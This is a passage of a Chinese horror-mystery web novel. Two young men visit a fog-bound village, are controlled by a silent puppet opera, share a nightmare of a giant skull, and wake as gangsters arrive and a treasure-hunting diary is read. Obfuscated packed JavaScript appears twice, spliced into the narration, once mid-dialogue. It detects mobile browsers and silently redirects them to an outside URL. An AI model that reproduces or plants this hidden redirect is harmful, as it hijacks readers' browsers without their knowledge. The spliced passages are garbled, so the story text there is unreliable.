余一舟没接话,脑子里都是和白色床单融为一体的白色连衣裙…… ****** 余一舟是被周筱安硬推着出的门,刚走出李家大院,这次临时出游的组织者就无休无止地打起了电话。 尽管他神神秘秘地和自己保持距离,余一舟还是不经意听到一个温柔女声:“你怎么一个人都不带,自己就出去了?” 很快,这种旖旎被周筱安一声偷感十足的“妈”打破。 余一舟瞬间怀疑自己不会是什么少爷宇宙的npc,上一个少爷的问题还没解决,身边又多了位少爷。 石船村的雾越来越大,沿着脚下那条贯穿村子的主路一直向西,途径的两户人家都敞着大门,屋里漆黑一片。 起初,他猜测屋主人是下地干活去了,可一路以来,目之所及皆是荒芜,并没看到一片梯田菜地。 第三户还是如此。 余一舟在来之前做过些功课,石船村并非荒村,村里的人都去哪了? 也许只是省电,没开灯? 他壮着胆子上前,敲了敲第三户人家敞开的大门:“有人在吗?你好?” 除了不小心踢到门口小板凳,发出一声刺耳的杂音,屋子里静得只能听到他加速的心跳。 余一舟打开前置电筒,从门口缓缓移动,一直照到西南角的香案,房子里了无生气。 他关上电筒,双手合十,在黑白遗照中老妇人的注视下拜了拜,正准备离开,身后传来了一声叹息。 “呵——” 手电光一阵乱扫,落在黑白遗照的右下角。余一舟不顾忌讳,用手沾口水擦掉了相框上的污迹,底下现出一个黑色的圆圈,中间点了个点,又是那个符号。 “救……救命!” 他跑出门时,周筱安结束了通话,才走进院门。 看他慌慌张张,也不说发生了什么,周筱安迫不及待先说出来自己的新发现:“这村子里好像每家每户都有一些这样的扫把头。” 他说着在满是破砖烂瓦的地面上捡起一只,在余一舟面前晃了晃。 这种被他称为“扫把头”的东西只是形似用于市政清扫的长柄扫把头部,虽然也是用秸秆扎的,但仔细看就会发现里面还有个三角支架,而且支架之间还缠绕着一些透明的线,那线一团一团,像是钓鱼竿上的鱼线,但比鱼线更细更透,而且湿漉漉的,摸起来有些打滑。 周筱安随手扯下一团,递给蹲在他旁边的余一舟。 “你摸,还有温度……” 余一舟伸出手,一种类似粘痰的难以描绘的触感令他头皮发麻,线团顺着他因受惊放大的指缝掉在地上,并在他眼前消失了。 “那东西会动!它钻土里了!” 周筱安趴下看,地上没有任何孔洞,如果有东西钻进土里,总会留下些土壤翻动的痕迹,但地上什么都没有。 “线是透明的,掉地上不容易找……” 周筱安说完继续低头找,余一舟则在一旁打光配合,两人找得正投入,突然听到一阵掌声从身后传来。 余一舟脆弱的神经彻底被击溃,满是敌意地盯着蹲在院门口的陌生人:“什么人!” “嘿嘿嘿……什么人!”那中年男人站起身,露出一身洗的发白褪色的旧校服,由于他身材较胖,校服上衣没拉拉链,就那样敞开着,下摆垂在屁股上。 “别过来!你谁啊?”周筱安抽了抽鼻子,他在男人身上闻到了一股奇怪味道。 中年男人也模仿周筱安指手画脚的样子:“别过来!你谁啊?” 余一舟恢复了一些理智:“我叫余一舟,他叫周筱安。” 男人继续鹦鹉学舌:“我叫余一舟,他叫周筱安” 说完还走到他们面前,一屁股坐下,边拍手边唱儿歌:“小小蚕宝宝,身体白又胖,绿色 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余一舟对他的世纪大发现没什么热情,自顾自地点开李春梅的微信头像,拽住男人的衣服:“大哥,你是这个村的人吗?你有没有见过这个女人进村?” 李春梅的微信头像是一张她本人的半身艺术照,能看出修图师的努力,但还不至于失真,用来认人是足够的。 男人看了眼照片,眼中涌出惧色,并不断扭动身躯,鬼哭狼嚎。 余一舟想按住他,奈何他力气极大,很快就挣脱了。两人只能追着男人,在满是迷雾的乡村小路上奔跑。 “你刚才怎么不帮忙按住他?”余一舟由于缺乏锻炼,喘着粗气。 周筱安回头白了他一眼:“你还怨我?你刚给他看了什么,把他吓成那样……” 雇主的事余一舟不好说太多:“就一张照片而已,他脑子不正常,一惊一乍的,不一定就是被照片吓得。” 两人光顾着说话,没注意前方男人已经停在了一处老宅前发呆,要不是跑在后头的余一舟及时拉住周筱安,两人大概率会叠一起撞在男人身上。 “旺娃儿。”男人朝黑洞洞的老宅喊了一声,便开始傻笑。 没多久,老宅里的人喊了句:“瓜娃子!” 男人听到立刻把背篓扔在地上,一头扎进浓雾里,没了踪影。 周筱安和余一舟正犹豫要不要继续追,老宅里出来个老婆婆,佝偻着身子,用竹竿探路,看样子眼神不好。 “终于看到正常人类了。”周筱安小声嘀咕。 余一舟见老婆婆从面前经过,想要打个招呼,可老人家像是完全没感知到他二人的存在,艰难地拖着竹筐回了老宅。 怕突然说话吓着老人,二人默默跟在老婆婆身后,也进了老宅。 老婆婆不是一个人,堂屋里还坐着个老爷子在抽水烟筒。老人看起来十分苍老,脸上的褶皱叠在一起,像一本横放的辞典。 看到余一舟和周筱安进了屋,老人机械地抬头,涣散的老眸在他们身上停留了一会,也和老婆婆一样,直接无视了他们。 周筱安感觉自己的结论下的过早。真正的正常人,家里平白无故进来两个陌生人,就算再冷漠,也该看两眼,万一是坏人呢,这对老夫妻太“淡定”了。 余一舟一门心思找人,顾不得许多,拿起照片就去问老爷子:“老人家,不好意思打扰了,请问您见过照片上的这个女人吗?她叫李春梅……” 老爷子的眼珠转了半天终于落在了照片上,几秒钟后,那副衰老的身体如将倾的老楼力拉崩倒,眦裂声破:“滚!滚!” 8. 戏台 周筱安拖着余一舟离开老宅,跑出去好远才敢大声说话。 “大哥,你没听到人家喊你……” 滚字到了嘴边又叫他咽了回去。 “没听到老人家喊你快走吗?还一直问,我都怕你再慢几秒,老大爷当场血压爆表,挂你面前!” “……你觉不觉得这个村子有些奇怪?” 余一舟警觉地看向四周,浓雾正在消散,村庄现出了本来的面目,村子里废弃的空房子比他想象的多。每一个黑色的矩形都像是一个罪恶的渊薮,里面藏着让他们消失在地球上的各样法门。 周筱安鬼鬼祟祟地看了一圈:“你不说我还没觉得,你一说,我总觉得有人正在暗处看着我……当然还有你。” 余一舟摇晃脑袋:“我倒不是说这个,你有没有发现刚才那对老夫妻一个失明,一个站不起来,两个人几乎都没有自理能力,但屋子里干干净净,桌上、地上几乎没有灰尘。” 周筱安上下打量余一舟,眼睛一亮:“你是私家侦探!让我猜猜,你在找的那个女人是不是神秘失踪了,她手机的最后定位显示她来到了这个小村庄……” 对于周筱安的猜测,余一舟保持沉默,好在一阵狗吠很快引开了他的注意。 那是只黄色小土狗,围着他们绕了几圈,就朝村尾方向跑去。 “这就是你说的暗处的眼睛?”余一舟没忍住笑出了声。 周筱安满头黑线:“不行吗?” 余一舟对着他追狗的背影竖起大拇指:“很行!眼睛真大。” 二人追着小狗来到村尾,再往前走,是一条小河。狗子没过河,在河边逡巡了一会,见他俩跟上来,就向戏台跑去。 要不是追狗,两人还没发现路尽头有个几乎与小山包融为一体的简陋戏台,木梁青瓦,看起来有年头了。 戏台上约莫站了十几个人,像是在表演。台下空无一人,只有狗子一个观众。 周筱安松了口气:“原来村里人都在这呢!我就说不是闹鬼嘛,想不到这地方还挺有文化底蕴。” 余一舟联想到床下的人偶,脸色很是难看:“他们唱的什么戏,怎么连点声音都没有?还有这戏服、面具,太古怪了……” 听余一舟这么说,周筱安也有些紧张。戏台上的人穿的并非五颜六色的戏服,而是黑灰色粗布的老式短衣,脸上还戴着夸张的丑陋面具,看起来有几分像傩面。 “难道是傩戏?” “什么是傩戏?” “一种祭神跳鬼的表演……” 周筱安没解释完,观众席的狗子就迫不及待冲上台“客串”,刚才还在做各种动作的人们戛然而止,一致看向周筱安和余一舟。 “呃,乡亲们好,我们是外地过来的游客……刚才那段你们演得真好……” 周筱安走到台下,来了段无脑尬吹,但台上的人完全不领情,一动不动,盯得他后脖颈发凉。 “这狗真不是我们的!不知道从哪冒出来的……”周筱安狼狈挠头,感觉越描越黑。 狗子似乎看破了他的窘境,叫得更起劲了,在人群里窜来窜去,扰得台上群魔乱舞。 周筱安和余一舟见状,只能硬着头皮上台抓狗,结果狗没抓到,还扯烂了一人的裤角。 “对不起,我不是有意的!” 周筱安两眼一黑就是道歉,手忙脚乱地帮那人整理裤脚时,发现裤子里并非人腿,而是一条稻草腿! “你干什么!” 见周筱安发疯似的逐一翻看每个人的面具,余一舟怕激起矛盾,抱着狗子上去阻拦。 但很快,他也发现了端倪:“这台上没一个活人……” 二人再次仔细观察这些人偶,发现他们的关节处,都有一股不易察觉的透明丝线穿过外衣通向戏台顶部。由此可见,操纵他们的机关或者傀儡师应该就在上面。 周筱安抬头仰视梁柱:“这像不像刚才在蚕山上看到的线!” “像。”余一舟正想上手摸,人偶们突然列起队,依次跳下戏台,站在戏台边。搭在戏台梁上的几根木轴随之抽动,延伸到戏台之外。 二人往下看,戏台外是块平坦空地,空地上有一圈用土黄色粉末“画”的不太醒目的“圆头蘑菇”。这些“圆头蘑菇”像是清明节给往生亲人烧纸时在地上画的留口圈。 两人还没搞明白其中含义,只听一声哨音响起,若干小火苗从天而降,落在黄色粉末上。火焰左右传导,霎时间连成了一片火海。 “松香粉!” 周筱安看过川剧吐火表演,听表演老师说他们就是将松香粉末或煤油含在口中,对着火源吐出去,从而形成巨大的火势。 地上的粉末和松香粉的色泽很像,也一点就燃,就是有股说不上的怪味。 两人跑下台寻找放火之人,一眼就锁定了站在戏台顶上身穿对襟素衣的古怪老头。 “大爷,请问这是木偶戏吗?”余一舟仰起头,向老者礼貌请教。 老者的目光紧紧锁定在那些偶人身上,没作答,甚至没正眼瞧他。 这爱答不理的劲儿让周筱安想到了农家乐老板李萍、学人说话的傻子还有老宅里的老夫妻。 “这地方的人好像都不爱说话,说也是答非所问……” “以我对这个村子以及村里人的了解,初步推断……”余一舟抬眸,做出名侦探柯南“真相只有一个”的手势—— “这特么极有可能是个农家乐收费项目,跑~” 余一舟使出一招三十六计走为上,但凡周筱安的腿再短点,都跟不上他的雷霆速度。 见周筱安追上来,余一舟一再强调:“刚才我可没主动看,要是那个老板问起来,你要帮我作证!” “都什么时候了,还想着钱。” “饱汉子不知饿汉子饥,没钱的时候,自然时时想,刻刻想!” 两人没跑出去多远,就听戏台方向传来一声老迈苍凉的呼唤,像是一道定身符,让人情不自禁地驻足留步。 他们回头,那个站在戏台顶上的老者突然以手聚声,仰天长啸。 余一舟搞不懂古文,老头叽哩哇啦地念,虽然速度不快,他愣是一句没听懂。 反观周筱安,居然掏出纸笔,记上了…… “不是吧,这都能听懂?他讲什么呢?”余一舟看人家奋笔疾书,自己“耳聋眼瞎”,只能干着急。 “其实用手机录音就行,你这样写太慢了……” “把背借我,一会给你解释。” 不等余一舟同意,周筱安就把一个巴掌大小的笔记本摊他背上,记录老头的念白。 日出扶桑,汤谷红光 十日并出,焦禾干粮 海有女丑,形变无常 …… 以手障面,暴于山荒 其尸入水,化为蟹螯 食九天鸟,日月齐光 夫女扬灵,佳鱼琳琅 罾破罛碎,鸣鼓矢交 天怨神怒,洪水滔滔 …… 鱼公引船,捍灾御水 功德于民,歌舞思之 老者停下没多久,周筱安也记完了。字迹潦草了些,但足有十几行。 余一舟惊掉了下巴:“他口音那么重,你怎么听懂的?” 周筱安一改之前轻松的语气:“我见过这段话,他念了一遍,刚好帮我想起来了。” 余一舟点头,原来是速记变默写了:“那这段话到底什么意思?” 周筱安把念白用白话解释了一遍。 很久以前天上同时出现了十个太阳,引发大旱,一个叫女丑的女巫将自己献祭。女丑被活活热死,暴尸山野。人们把她的尸体扔进水中,她化作大蟹,吃掉了另外九只金乌鸟,也就是九个太阳,天上又恢复了只有一个太阳。化成神蟹的女巫保佑当地,为水中带来丰富的鱼产美玉,这些宝贝也引来了匪盗和劫难,恶人的罪行激起了天神的愤怒,天降洪水,一位叫鱼公的神人引船入水,拯救这里的百姓…… “等等……让我理理。首先,九个太阳是后羿射的吧?还有愚公不是移山的吗,怎么还治上水了,那不是都江堰的李冰吗?这什么文化水平写的,张冠李戴的。” “……这个鱼不是愚者的愚,而是鱼肉的鱼。” 余一舟不解:“甭管哪个鱼,还有一个地方也说不通,为什么女子要把自己活活热死?而且她的尸体都被人扔进水里了,还要变成神蟹保佑这些白眼狼?” 周筱安无语:“神话故事而已,干嘛考虑它的逻辑。你可以把这理解成打生桩、活人祭祀。” 看余一舟露出愚者的眼神,周筱安继续解释:“打生桩就是用活人奠基,然后这个人就成了建筑的守护神。这里女巫应该是以自己为祭,祈求风调雨顺。” “卧槽,太残忍了!”余一舟被突如其来的鼓声吓了一跳,声音明显比之前高了好几个度。 但周筱安仍然没听清,他不得不再重复一遍:“我说,这太残忍了!” 他的“太”字刚刚发出,鼓声停止,线轴崩坏,人偶们像是老宅里的佝偻老妇,一个个弯腰屈膝,停在原地。 余一舟哪见过这场面,咽了口唾沫,企图收回泼出去的水:“不残忍,不残忍,你们继续,继续……” 但戏台顶上的老者还有台下的人偶好像被按下了暂停键,一动不动。 “咱们快走吧,这地方太诡异了……”余一舟的声音里几乎带着哭腔。 可看他光动嘴皮子不动腿,呈吃瓜状看着令他害怕的农家乐“收费表演”,周筱安忍不住催促:“要走快走,等什么呢?” “我……肘不鸟呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821823|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “什么?” 周筱安伸手拉他,只见他五官扭曲,嘴角流出涎水,四肢不受控制地伸向天南海北。 “你别吓我……” 眼看余一舟以高难度的姿势摔在地上,周筱安感觉自己的四肢也有种说不上来的酸胀。 他不信邪,动一下痛一下,后来不动也痛。那感觉就像全身经脉野蛮生长,马上要撑破皮肉。 这种情况没维持多久,他也支撑不住倒在地上。 目光顺着压在脸下的左手臂延伸出去,在道旁的树丛里,他又看到了那双一直盯着他的眼睛,和一张陌生的脸。 “肉傀儡。” 屠南正全神贯注地盯着二人,被突然冒出来的声音吓了一跳,转头看竟是阿南刻! “你刚才为什么跑!” “我没钱交房费,老板来了还不快跑……” “你没钱是怎么来这的?” 阿南刻做了个噤声的手势,眼睛一眨不眨地盯着戏台。 只见那个站在戏台顶的老者身体笔直地跳落在地。他落地的瞬间,躺在地上的余一舟和周筱安奇迹般站了起来,僵直的身体在淡淡的雾气中画出一道似有似无的弧线。 “悬丝。”阿南刻朱唇轻启。 借着,老者走上戏台,来到鼓边,扯断鼓槌上的线,自己敲了起来。 “起槌。” 密集的鼓点里,余一舟和周筱安像是鼓面上的黄豆,一蹦一跳地回到戏台附近,加入到那些断了线的人偶当中。 列队完成,老人唱起戏文。一声鼓,一句词—— 咚!皇王开科举,晓谕众良民。 咚!钟馗应考举,金殿自割亡。 咚!皇王敕封我,驱魔遍天行。 “钟馗捉鬼……”阿南刻嘴角上扬。 “你到底在说什么?” “仔细看,一会能不能救他们,就看你了……” 老人唱罢,众“人”像围着篝火跳锅庄一样围着火门转圈。 周筱安身体不受控,脑子还能转。大家身上都没线,老头用什么来控制大家?鼓声? 回忆整个过程,他和老者的唯一接触,就是眼神。曾有一瞬间,他感觉老人的眼睛好像看穿了他的心…… 但,又没完全到达他的心底。 周筱安越想,越感觉到久违的松快,那些在无形中拉扯他的线似乎脱离了他的身体。 不知道余一舟是否也恢复了“自由身”,他踩着鼓点,小声喊他,连喊几遍,他都没反应,还险些让敲鼓人发现了异动。 “一更人!” 老头突然高喊一声,恶狠狠地指中一个人偶,那人偶竟飞身跳入了旁边的火门! 且不说火门中不知何时出现一个深坑,那傀儡分明是用稻草扎的,周筱安亲耳听见坑中传来撕心裂肺的惨叫,听得人抓心挠肝,头皮发麻,好像有团火在灼烧自己的皮肉。 惨叫声消失后,洞中还升起纸灰,就像纸人纸马被烧后,随风飘来的灰烬。 之后老人每敲一阵鼓,叫一声,就有一个傀儡跳入火门,有时发出相同的凄厉惨叫,有时悄无声息。 二更火、三更鬼、四更贼都点到了,再说下去就要到五更了,按顺序该轮到余一舟,余一舟之后就是他。如今他倒是能跑,那余一舟怎么办…… 周筱安正发愁,树丛里传来一个声音: 四川下来重庆城,开九门来闭八门。 开九门来闭八门,子牙庙内把香焚。 开九门闭八门说的是老山城对应九宫八卦的十七道城门,他数了数地上的火门的确是十七道!数字正好对得上! 但这几扇门如何与九宫八卦对应,又是什么生克关系,他就一无所知了…… 老头四下寻找着说话人的身影,一无所获,重重落下鼓槌:“五更鸡!” 眼看余一舟就要跳火坑了,周筱安只能紧拉着他,向那个树丛里的人求救:“大佬,再多给点提示啊!我不懂八卦……” 屠南下意识看向身边,阿南刻居然又消失了!这几句词都是阿南刻告诉她的,说是什么傩戏里的词,只要她念出来,戏台上的闹剧就会停止…… 但闹剧明显没停止,甚至还让她引火烧身。 她的腿想跑,但大脑似乎还在调用她掌握的那为数不多的易学常识:坎为水,水克火,一宫坎,坎主北。戏台坐北朝南,…… “跳正对戏台的那个。” 屠南声音既出,老头的一双老眼浮起一层白翳,视线的蒙蔽令他焦躁发狂,开始吼叫,仿佛野兽做好准备撕咬。 不过他并没有亲自下场,一声鼓响,还没跳进火坑的人偶们倏地悬浮于半空,双臂抬于胸前,做好了抓捕周筱安和余一舟的准备,只待他一声令下。 “恶鬼!休逃!” 9. 睡佛 余一舟被周筱安拖入火门,和他们一起跳进来的还有那些人偶。 只不过因为无法控制身体,那些没有意识的草人在同时跳入深坑时被卡在洞口,少有几个挣扎下来,掉进了黑暗的未知里。 在无底的深坑中,周筱安感受到了稀薄的空气,失重的恐惧,还有连火光都无法照亮的黑水的刺骨。 他们下沉,一直下沉,不符合自然法则地下沉。 恒久的引力将他们的□□抽离出黑暗的洞穴,引入一片散发灰绿色光的隐秘世界。 周筱安和余一舟看到了对方,也看清了他们身后的巨大存在——一副骨骸,准确说是一个骷髅头,它不是来自于某个不知名巨型生物,而是一颗巨大的人类头骨。 那个洞穴,也不是什么溶洞,而是头骨正中的梨状孔。 一会儿的功夫,刚才将他们推出梨状孔的暗流改变了方向,形成一股反作用力,再次将他们卷回巨型头骨那一边。 随着身体靠近,他们惊恐地发现,白骨之上竟长出无数蠕动的长虫,它们摇头摆尾肆意舞动,又像蛆虫快速繁衍复制,逐渐占据整个头骨。 复制之后是不断的合并,活跃的肉条合在一起,组成无数会动的肉块,肉块又持续合并…… 不对,二人定睛细瞧,哪里有什么长虫肉块,那分明是巨型头骨正在以惊人的速度重新长出皮肉。但这种生长没有任何新生的意味,完全像是人体腐烂录像的倒放…… 被迫观看完全程的余一舟和周筱安早已失去了挣扎的勇气,等待着命运随时遏喉。 然而头骨的主人并非面目可憎的怪物,而是一个紧闭双目的女子。 女人眉毛细长,鼻廓挺拔,唇峰柔和,像一尊睡佛,宁静安详。 而且这尊“睡佛”似乎有一种净化心灵的神奇魔力,让被之前景象污染的两人身体不自觉地想要向她靠近。 周筱安先余一舟一步漂浮到“睡佛”眼睛的正前方。 在他的注视下,女人的两片眼皮之间暗流涌动,露出两道细缝…… 为了一睹“睡佛”睁眼的瞬间,余一舟疯狂踩水,终于移动到了和周筱安平行的高度。 她睁开了眼睛!等待那些牛眼珠似的气泡全部散去,原本应该出现眼球的位置现出两排密密的白牙,牙缝上残留着暗红色的血渍。 “来啊……来啊……” 是眼睛在说话,两人被一股奇怪的力量蛊惑,停在原处。 那眼睛笑够了,轻启牙关,两条红舌如游龙蜿蜒,向她的食物席卷而来…… ****** 天花板又开始渗水了。 水滴啪嗒落下,正好滴在余一舟眉心。他一个激灵睁开眼,浑身被汗浸透。 “不对!”他坐起身看向四周。 空茫褪去,没有水,没有人头,只有那个被他嫌弃的双人间。 不仅如此,他还躺在原本属于周筱安的那张漏水床位上…… “手机!”他顾不得穿鞋,光脚跑到窗前。手机安然无恙地躺在床头柜上充电,屏幕亮起,时间是晚八点半,这样一算,他居然睡了整整七个多小时! 也许是被噩梦消耗了太多体力,此刻他腰酸背痛,四肢酸软,连根充电线都拔不下来。再次尝试,又用力过猛,手机从手中滑向地面,又被他的脚不小心踢进床底。 这一幕还真是似曾相识。 他颤巍巍地打开床头灯,跪在地上,俯身看向床底,没有梦中的人偶,只有他的手机安静地躺在地面上。 “日有所思,夜有所梦。”都是那个破神话故事闹得! 他自我安慰完才意识到,那个张冠李戴的神话也是他在梦里听到的…… 而且他在梦里所经历的一切,都是凭空而来,完全不符合“意识是物质的反应”这一底层逻辑。 噩梦、睡眠障碍、心理咨询、张洪涛。 他的脑海中浮现了一个他在梦中得出的结论,张洪涛的自杀与石船村有关。 余一舟被自己的结论吓得心里发怵,恰在此时,床下的手机开始震动,屏幕显示是李春梅的来电。 他捞出手机,立刻接起,打来电话的李春梅却迟迟没有出声。 “李总……能听到我说话吗?” 余一舟怀疑自己不小心碰了静音键,调试了多次,再将听筒音量调到最大,对面还是没声音。 “喂,可以听见我说话吗?” 就在他怀疑信号不好,想要挂断重拨时,手机里发出了一声巨大的哈气声。 “呵——” 与他在梦中废屋里听到的一模一样!而且这个梦怕不是太清晰了,往常他做梦时,醒来睁开眼,梦中之事尽数抛诸脑后,而这次的梦,像真实发生过,历历在目,甚至连触感和声音都那么逼真。 余一舟回过神,手机脱手摔在床上,通话已经结束。 眼下他只有一个想法,收东西跑路。 甭管那个姓张的是不是要打电话报警,还是李春梅跟不跟他结算剩余的七万块钱,留得青山在,不怕没柴烧。直觉告诉他,再待下去,不用攒钱买房,直接攒钱买墓好了。 他轻手轻脚地收拾行李,东西不多,几下就整理完毕。 就在他背着包悄声按下房门把手时,门的另一边响起了粗鲁的敲门声。 难道又和梦中发生的一样,是周筱安? 他屏住呼吸打开门,不是周筱安,是个他在现实和梦境里都没见过的陌生男人。 ****** 周筱安听到楼下有吵闹声,准备下楼看看,刚好撞见从旁边储藏间出来的屠南。 对方手里拿着个笔记本,神色慌张。只有两个人的走廊,她甚至没看周筱安一眼,就从他面前经过,留下一个背影。 “那个,请问我们见过吗?” 屠南被周筱安突如其来的问话吓了一跳,怔在原地,等他走近才回过头。 看着这张略显拘谨的脸,周筱安一时不知该如何解释他们似乎在梦里见过,感觉怎么说都像是在刻意搭讪。 好在屠南先开了口:“……你是那个不懂八卦的?” “哎呀!你也做了同样的梦?我就说你像那个大佬!” 屠南轻轻点头,表示肯定,但似乎并没有对两个未曾谋面的陌生人做了同一个梦这件事感到惊讶。 余一舟一脸不可思议地指了指身后的储藏间:“你住这?” 屠南摇头:“楼下大床房。” 周筱安还想继续问点什么,只见她做了个噤声的手势提醒他别出声,紧接着一阵下楼的脚步声传来,有人喊在二楼房间里找到了很多工具和绳子。 “有人进了你的房间!”周筱安小声说完,又想起那是他在梦里从门缝里偷看到的,这么说似乎不太磊落。 想到此处,他甚至觉得屠南看他的眼神都带有道德谴责:“干嘛这样看我?” 没想到她根本没提这茬:“衣服里有口袋吗?” “没有,你干嘛?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821824|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我这衣服有点薄,不太方便。麻烦帮我先保管一下这个本子,最好能藏到衣服里。对了,一定不要看,感谢!” 屠南说完就把一本封皮脏兮兮的皮质笔记本递到周筱安手上,自己下了楼。 “谢……我谢谢你,这么脏怎么能放进衣服里……”周筱安小声咕哝。 见屠南头也不回,他边藏笔记本边念经:“你先别乱跑,底下的人听声音来者不善,你一个女生,就算你懂得多,遇到危险,你能跟拳头讲理吗?我们还是先报警,躲起来伺机而动,我跟你说这个村子奇怪的很……” “谁要报警?” “秋哥,楼上还有人。” 周筱安刚追到楼梯口,就听到向他逼近的脚步声和说话声。 说话的是打前阵的大块头,平头,穿了件黑色短袖,一对结实粗壮的花臂像身份证一样,昭示了来人的身份。 问话的那位秋哥看起来没那么莽撞,三白眼、吊眼梢,右眉骨有处明显的刀疤,也不像什么善人。 好在楼梯这片光线暗,周筱安眼疾手快地把抽出来的亚麻衬衫盖在本子上,塞进了腰间。 “谁进了我的房间?”屠南下到二楼,绕过挡在楼梯口的秋哥,又被大花臂挡住了去路。 “你的房间?这些绳子也是你的?姑娘家,带这么多绳子干嘛?还有那一箱工具。” 也许是秋哥的问题问到了大家的心坎上,所有人都看着她,等着她回答。 一阵沉默后,屠南好像突然变了个人,露出狡黠的笑容:“你们……真想知道?” “少特么废话,快说!” 屠南探头往下看了看,一楼上二楼的楼梯上还站了个他们的人,手里的匕首正冲着余一舟和农家乐老板李萍的后背,说话的正是此人。 想必在此之前,三人已经控制了楼下的两人…… 屠南的笑眼中闪过一丝寒意:“这是个秘密,它会牵扯到很多人,包括石船村,让我说也不是不可以,不过在座的各位总要先互相认识一下吧,省得大水冲了龙王庙,打个糊涂仗不是?” 秋哥似笑非笑:“你们彼此不认识?” 屠南指着一脸不服气的李萍:“她,我认得,是这的老板……这位小哥,没见过。” 毕竟有锋芒向背,余一舟回答得有些局促:“我叫余一舟,过来避暑的。” “他嘛……”屠南指着周筱安:“刚认识,还不知道叫什么,哪里人。” 周筱安皮笑肉不笑:“周筱安,湖城人,准备去天坑采药。” 屠南点头,看向秋哥三人:“湖城是个好地方……你们三位呢?” 秋哥表情玩味:“阿秋,朋友都叫我秋哥,这两位是刘虎、刘豹,我的兄弟,一起过来玩的。” 屠南油腔滑调:“玩?是去天坑玩吗?看天坑应该去武隆,去奉节,这的天坑根本算不上个景点,而且里面危险着呢……” 秋哥大概是觉得她在故意拖延时间,没说话,点了一支烟,那个叫刘虎的大汉见状,立刻替大哥说道:“哎,识相点,别想着耽误时间,能有人来救你,实话告诉你吧,村口还有我们的兄弟。今晚,谁都别想进村,也别想离开。” 屠南咽了口唾沫,演技拙劣地抿起嘴:“这样啊,那我就不瞒各位大哥了,看得出来,你们不是真来玩的,我也不是。在下屠南,是来……寻宝的。” “寻宝?” 屠南说完冷冷地瞟了李萍一眼:“对,就是山神的宝藏。” 10. 山神的宝藏 屠南从储藏间捡到的笔记节选—— 我第一次来石船村纯属偶然。 2015年暑假,我和室友瞿一鸣、韩礼诚约好一起去另一位室友贺非家玩。 贺非家在渝东,都说这里山美水美,但因为瞿一鸣和韩李诚先后有事离开,我和贺非每天就是宅在他家玩手机,大热天人都要闷熟了。他父母让他带我多出去走走,他就想到了盘陀天坑。 我去过天坑,但我去的是景区。他说的这个天坑可不是围起来收费的,只是个发生在喀斯特地区的漏斗型地貌,在西南地区很常见。 这个地方真正令人害怕的并不是它特殊的地形,而是一些语焉不详的传说,用贺非的话说,里面的素材足够《走进科学》拍一阵。 我们瞒着长辈买了些户外装备,就踏上了未知的冒险之旅。路线是我们一起定的。参考的是一位在全国各地探访古建、遗迹的博主徐哥。博主全名是徐哥看世界,他在论坛开了个帖,专门介绍盘陀天坑(此类帖子非常少,他是唯一具有实操性的),并用很重的笔墨介绍了一处神秘岩画。 这个岩画在一个洞穴中,附近村民称那个洞穴为祭洞。徐哥说,这处岩画最神奇的不是画本身,而是它的戛然而止,可以明显看出岩画想要表达的祭祀场景并不完整,而且红色颜料一直延伸到了洞口最外缘的岩壁上。 他请教了石船村的村民,听一位老者说,在远古时代盘陀天坑还是一片平地,一道天雷降下将大地撕裂,这里形成了一道地缝。当时住在这里的人们顺着地缝进入地下,发现了一个洞穴,并在洞穴中作画,就是他看到的那片岩画。洞穴因地缝裂成两半,壁画因此被画在洞穴两边。后来,地缝因洪水等原因成了天坑,只留下了祭洞这一边,另半边洞穴不知被深埋在何处。 明朝末年,有个采宝家族为了逃避仇家追杀,躲进了天坑,并发现了另半边洞穴。据说他们在洞穴中见到了当地人讳莫如深的山神,并成为了祂忠诚的信徒。他们以全部家当为供奉,侍奉山神并得到山神庇佑,躲过一劫,在这里繁衍生息,这些人就是村中王姓人的先祖。 很多年后,采宝家族在天坑藏宝的消息走漏,不少人来此寻宝,但都是有来无回。 解放后剿匪,当地有个负隅顽抗的土匪头子罗狗儿在弹尽粮绝后,带领少数部下躲进天坑,一方面是天坑地险好作掩护,还有就是为了找到宝藏以便他日东山再起。罗狗儿是否找到宝藏无人知晓,不过他和他的部下彻底消失在了盘陀天坑之中。 这么多人在这狗带,自然少不了超自然事件。 帖子里说道,有位村民大哥告诉徐哥,自己小时候砍柴,赶上天坑起雾,碰到过罗狗儿带着他的“兵”在山里“寻宝”,这年距离剿匪那年已经过去了二十多年,这位大哥初生牛犊不怕虎,偷偷跟踪这些人,想找到他们的藏身之处,报告公安同志,立个大功。结果发现这些人竟回到了岩壁上的悬棺之中。大哥回家就将自己在天坑的见闻告诉他老汉,他老汉又上报了村里。村长得知后,带着绳子还有全村的青壮年抄家伙捉匪,发现悬棺空空,附近完全没有人经过的痕迹。大哥为此还挨了他爸一顿胖揍。他爸揍他只是为了给乡亲们一个交代,他们父子二人心里清楚,这是遇到了不干净的东西。 类似这样的故事还有很多,贺非都能说出几个……我个人不相信什么超自然事件,但也没打算在这种未开发的原始森林里逞能,我们约定只按照徐哥分享的路线,找到祭洞看了岩画就回去。 但一切似乎并没有像我们预想的那样发展…… ****** 余一舟盯着他踏破铁鞋寻找的屠南,脸上写满了问号。 那个学弟学妹口中低调、神秘还有些高冷的学姐怎么就成了满身匪气、油嘴滑舌的寻宝客? 